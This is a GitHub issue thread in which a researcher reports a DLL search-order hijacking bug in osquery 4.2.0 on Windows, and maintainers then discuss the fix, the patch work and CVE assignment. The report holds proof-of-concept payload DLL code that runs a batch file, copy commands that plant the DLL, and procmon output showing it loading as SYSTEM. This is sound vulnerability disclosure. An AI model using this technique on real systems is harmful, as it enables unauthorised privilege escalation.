

New issue

Jump to bottom

Privilege Escalation Bug in Osquery 4.2.0 (windows) via DLL Search Order Hijacking #6426

Closed sailay1996 opened this issue on May 1, 2020 · 15 comments

Labels security Windows
Milestone 4.4.0

sailay1996 commented on May 1, 2020

Hell osquery team,

As per facebook security team, they (Teddy) recommended to create issue here.

Title
Privilege Escalation Bug in Osquery 4.2.0 (windows) via DLL Hijacking

Vuln Type

Code Execution
Product Area

Open Source (e.g. HHVM)
Description/Impact

Complete Details [This should be the longest section. Be as thorough and descriptive as possible.]

[
Vulnerability Type: Privilege Escalation via DLL Preloading

DLL: zlib1.dll

Affected process: osqueryd.exe

Attack Vector: local

Description:

When osquery service is start, osqueryd.exe process is tries to load the zlib1.dll from user writeable directories and then drop or create malicious dll to writeable folder (C:\python27).
Reboot (because of osquery service is auto start after rebooting) or restart the service. Malicious dll "zlib1.dll" will be loaded by that osqueryd.exe .
]

Impact [What is the security or privacy risk to Facebook or its users?]

[Privilege escalation: User can executed as NT AUTHORITY\SYSTEM
This occurs when an application fails to resolve a DLL because the DLL does not exist in the specified path or search directories. If this happens, a malicious DLL with the same name can be placed in the specified path directory leading to remote code execution as system user.
]

Repro Steps

Setup

OS: [Tested on Windows x64 1909]

Description: [When osquery service is start, osqueryd.exe process is tries to load the zlib1.dll from user writeable directories and then drop or create malicious dll to writeable folder (C:\python27).
Reboot (because of osquery service is auto start after rebooting) or restart the service. Malicious dll "zlib1.dll" will be loaded by that osqueryd.exe]

Steps [Each step should be 1-2 sentences. Having many steps is fine.] [Ensure each step is clear, concise, and complete]

1. Filter the processes of osqueryd.exe with procmon (image: osquery1.jpg)

2. Create custom payload dll (image: osquery2.jpg)

```

34
35
36 }
37
38 void scriptExec(void) {
39
40     TCHAR File[50] = TEXT("C:\\temp\\exec.bat");
41     if (!fileExist(File)) {
42         return;
43     }
44
45     STARTUPINFO info = { sizeof(info) };
46     PROCESS_INFORMATION processInfo;
47     TCHAR lpszClientPath[50] = TEXT("cmd.exe /c C:\\temp\\exec.bat");
48     if (CreateProcess(NULL, lpszClientPath, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo))
49     {
50         WaitForSingleObject(processInfo.hProcess, INFINITE);
51         CloseHandle(processInfo.hProcess);
52         CloseHandle(processInfo.hThread);
53         messageSuccess();
54     }
55     else {
56         TCHAR Errormsg[20] = TEXT("Execution failed");
57         TCHAR Errortitle[30] = TEXT("Script execution failed");
58         messageFailed(Errormsg, Errortitle);
59     }
60 }

```

3. Create batch file to execute which include in payload dll (image: osquery3.jpg)

```

1  cmd.exe /c whoami > C:\osquery_EOP.txt

```

4. Then, create or drop payload dll to writable folder C:\python27 (image: osquery4.jpg)

```

C:\WINDOWS\system32\cmd.exe
C:\eop_test\osquery_poc>copy zlib1.dll C:\Python27
1 file(s) copied.
C:\eop_test\osquery_poc>copy exec.bat C:\Temp
1 file(s) copied.
C:\eop_test\osquery_poc>

```

payload dll

5. Check the file that doesn't exist by default (image: osquery5.jpg)

```
C:\WINDOWS\system32\cmd.exe

C:\eop_test\osquery_poc>dir C:\osquery_EOP.txt
Volume in drive C has no label.
Volume Serial Number is 90F2-950A

Directory of C:\

File Not Found

C:\eop_test\osquery_poc>type C:\osquery_EOP.txt
The system cannot find the file specified.

C:\eop_test\osquery_poc>
```

6. Then reboot pc (It's mean user haven't permission to start service. Reboot since osqueryd service is auto). or restart the service (for testing with admin). After reboot or restart the service, Malicious dll "zlib1.dll" has been loaded and payload will execute. (image: osquery6.jpg)

osqueryd.exe	21488	Process Exit	C:\Windows\System32	SUCCESS	Exit Status: 0, User Time: 0.0625000 seconds, Kernel Time: 0.1093750 seco...	NT AUTHORITY\SYSTEM
osqueryd.exe	21488	CloseFile	C:\Windows\System32\en-US\KernelBase.dll.mui	SUCCESS		NT AUTHORITY\SYSTEM
osqueryd.exe	21488	CloseFile	C:\Python27\lib1.dll	SUCCESS	FILE LOCKED WITH ON: SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CreateFileMapping	C:\Python27\lib1.dll	SUCCESS	SyncType: SyncTypeOther	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	Load Image	C:\Python27\lib1.dll	SUCCESS	Image Base: 0x76947d000, Image Size: 0x1c000	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	QueryNameInformationFile	C:\Windows\System32\ntdll.dll	SUCCESS	Name: (Windows\System32\ntdll.dll)	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CreateFile	C:\Python27\lib1.dll	SUCCESS	Desired Access: Generic Read, Disposition: Open, Options: Synchronou...	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CloseFile	C:\Python27\lib1.dll	SUCCESS		NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CloseFile	C:\Python27\lib1.dll	SUCCESS		NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CloseFile	C:\Temp	SUCCESS	Desired Access: Read Data,List Directory, Synchronize, Disposition: Open...	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	QueryDirectory	C:\Temp\exec.bat	SUCCESS	Filler: exec.bat, 1: exec.bat	NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CreateFile	C:\Temp	SUCCESS		NT AUTHORITY\SYSTEM
osqueryd.exe	3824	CreateFile	C:\Program Files\osquery\osqueryd\cmd.exe	NAME NOT FOUND	Desired Access: Read Attributes, Disposition: Open, Options: Open Repar...	NT AUTHORITY\SYSTEM

7. payload dll executed as a command "cmd.exe /c C:\temp\exec.bat" and batch file executed "whoami" and print out to C:\osquery_EOP.txt (image: osquery7.jpg)

[osquery7](https://user-images.githubusercontent.com/16739401/80823583-ebac9200-8c02-11ea-9dc5-c98b77d6bb90.jpg)

I hope you to understand about my details steps. Thanks.

With Best,
Sai Wynn Myat.



theopolis commented on May 2, 2020

Member

This is a great report! Thank you for all of the details. @alessandrogaro @muffins what are your thoughts for mitigation?

alessandrogaro commented on May 3, 2020 • edited

Member

I would probably adopt the following changes:

1. Prevent direct calls to LoadLibrary from the osquery code (maybe a CI script?)
2. Update the (currently unused) LoadLibrary wrapper we have (platformModuleOpen) so that it refuses relative paths
3. Port the windows_security_center/windows_security_products tables to the platformModuleOpen wrapper
4. Make sure that our dependencies are built so that they never call LoadLibrary themselves (@Smjert is looking into this)
5. Extend the --allow_unsafe logic so that osqueryd halts if PATH contains a world-writable folder

EDIT: Point 2 could be updated so that DLL names (just names, not relative paths) are allowed if the name is a KnownDLLs entry

Interested in everyone's opinion on how this looks like!

Smjert commented on May 3, 2020

Member

About 4: I've found that it's openssl that tries to load zlib1.dll, specifically because we ask it to here:

```
osquery/libraries/cmake/formula/openssl/CMakeLists.txt
Line 20 in f54d984

20      zlib-dynamic
```

This has been carried over from the old brew formula scripts; as far as I can understand zlib in openssl is only used to enable SSL/TLS compression, which is also subject to information leak attacks. Given that browsers around 2012 started disabling compression for that reason, I suggest we do the same and remove that and possibly other problems altogether.

I'll check other libraries too.

What do you think?



sailay1996 commented on May 5, 2020

Author

let me know you guys recognize as is this security issue or not? Can i get CVE id for this bug ?


theopolis added security Windows labels on May 6, 2020

mike-myers-tob added this to the 4.3.1 milestone on May 6, 2020

farfella commented on May 8, 2020

Contributor

My recommendation is to statically link openssl (and/or zlib) into osquery vs using them as DLLs.

 Smjert mentioned this issue on May 8, 2020

Disable openssl compression support #6433

➔ Merged

mike-myers-tob commented on May 21, 2020

Member

So is this resolved now? We can close?

sailay1996 commented on May 21, 2020

Author

Let me know How can I request CVE id for this bug?

theopolis commented on May 22, 2020

Member

I think the specific issue is resolved but I think we can do more to prevent these bugs in the future. For example I read `LOAD_LIBRARY_SEARCH_SYSTEM32` might be a restriction we can apply to LoadLibrary usage.

mike-myers-tob commented on May 22, 2020

Member

Let me know How can I request CVE id for this bug?

Yea, @theopolis mentioned that Facebook used to be the CVE Numbering Authority (CNA) that could allocate a CVE ID for osquery security bugs. But, now that the project is transitioned to Linux Foundation, which is not a CNA, I think the way to apply for a CVE is to apply through Mitre here: <https://cveform.mitre.org/>

If anyone else knows differently, please correct me but I think that is the process.

 theopolis mentioned this issue on May 22, 2020

Use LOAD_LIBRARY_SEARCH_SYSTEM32 for LoadLibrary #6458

➔ Merged

theopolis commented on May 22, 2020

Member

If anyone else knows differently, please correct me but I think that is the process.

I think we want to use GitHub's Security Advisory feature, <https://help.github.com/en/github/managing-security-vulnerabilities/about-github-security-advisories#cve-identification-numbers> which I can fill out later tonight or tomorrow.

theopolis commented on May 22, 2020

Member

I requested the CVE in a GitHub advisory, will let you know how it goes.



mike-myers-tob commented on May 30, 2020

Member

Their docs say

Assigning a CVE identification number generally takes 72 hours or less.

Did they respond, or no


This area of our repo, is it manually updated, or automatically via this submission process? <https://github.com/osquery/osquery/security/advisories>

theopolis commented on May 31, 2020

Member

Yeap, sorry for the delay, this was assigned CVE-2020-11081.

I'll close this issue out since we've fixed the issue. The PR and advisory will be published and referenced in the 4.4.0 release.

 theopolis closed this as completed on May 31, 2020

sailay1996 commented on Jul 9, 2020

Author

Hello @theopolis ,

any PR and advisory for 4.4.0 ? I didn't see that CVE ID.

directionless commented on Jul 10, 2020

Member

This should be visible at [GHSA-2xwp-8fv7-c5pm](#)

Assignees

No one assigned

Labels

security Windows

Projects

None yet

Milestone

4.4.0

Development

No branches or pull requests

7 participants

